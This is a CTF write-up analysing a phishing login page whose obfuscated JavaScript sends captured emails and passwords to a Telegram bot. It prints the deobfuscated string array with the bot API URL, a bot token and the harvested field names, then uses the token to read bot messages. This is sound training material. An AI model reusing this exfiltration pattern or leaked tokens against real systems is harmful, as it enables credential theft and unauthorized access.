Rating:
## Brief
**Broken Bot** is a web-based CTF challenge that tests your JavaScript deobfuscation and malware analysis skills. Your task is to investigate a compromised Cloud Storage Portal, decode obfuscated JavaScript code, and perform API queries to extract sensitive information. By detecting a misconfiguration, you can find the flag and demonstrate your cybersecurity expertise.
**Expertise:**
* Basic knowledge of JavaScript
* Familiarity with JavaScript obfuscation techniques
* Understanding of how malware can be concealed in JavaScript code
* Ability to identify and analyze malicious code
* Proficiency in using browser development tools for web debugging and analysis.
**Acquired Knowledge:**
* JavaScript deobfuscation
* Malware analysis
* API query and analysis
* Misconfiguration detection
## Enumeration
To start the challenge, we need to access the provided Cloud Storage Portal. This can be done by spawning the Docker container and accessing the IP address assigned to it. Upon accessing the IP, we will be directed to the login page for the Cloud Storage Portal.
After accessing the login page for the Cloud Storage Portal, we need to view the JavaScript code running in the index.html page. However, before doing so, we may want to try logging in with a random password to see what happens. When attempting to log in with an incorrect password, I was redirected to another site, containing voicemail. This indicates that the login was not successful, but it also gives us a hint that something unexpected is happening in the background. With this in mind, we can proceed to view the JavaScript code running in the index.html page to identify any potential issues.
## Exploitation
To view the JavaScript code running in the index.html page, open the browser's developer tools, go to the "Sources" tab, and locate the index.html file - or simply view source.
To deobfuscate the JavaScript code in the index.html file, we can use a variety of techniques such as manual analysis or automated tools. Once the code is deobfuscated, we should be able to identify the API call being made. This API call may include information such as the URL, the method, and any headers or parameters being sent with the request.
```
var AC = ["val", "12ZidQyC", "20AFlrCY", "Email: ", "63792quNVYn", "substring", "append", "Region : ", "slice", "body", "139437pXYFEK", "#UserEmail", "toUpperCase", "click", "Useragent : ", "href", "88GpIPQU", "904cdojGd", "#submit", "#dname", '', "4716964xBODFJ", "3724320KAqSuZ", "5852841790", "Date Filled : ", "#inputPassword", "380874lxWkrT", "1170928pBbGzs", "https://api.telegram.org/bot", "head", "6055124896:AAFyQlC_8dr1GndB26ji4iV2ol2bPPQ9lq4"];
```
Interesting. Once we have identified the API call being made in the JavaScript code, we can proceed to perform queries against the Telegram Bot's API using the provided key.
If the privacy settings of the Telegram Bot are disabled, all users can read messages via the getUpdates call. This means that any user can send an HTTP GET request to the appropriate API endpoint (likely `https://api.telegram.org/bot<API_KEY>/getUpdates`) and receive a response containing all of the recent messages sent to the Telegram Bot. [More here.](https://core.telegram.org/bots/api#getupdates)
By examining the code for the getUpdates API call, we can identify the flag **Flag{Always_Check_For_Misconfigurations}** that is likely to be sent as a message to the Telegram Bot.
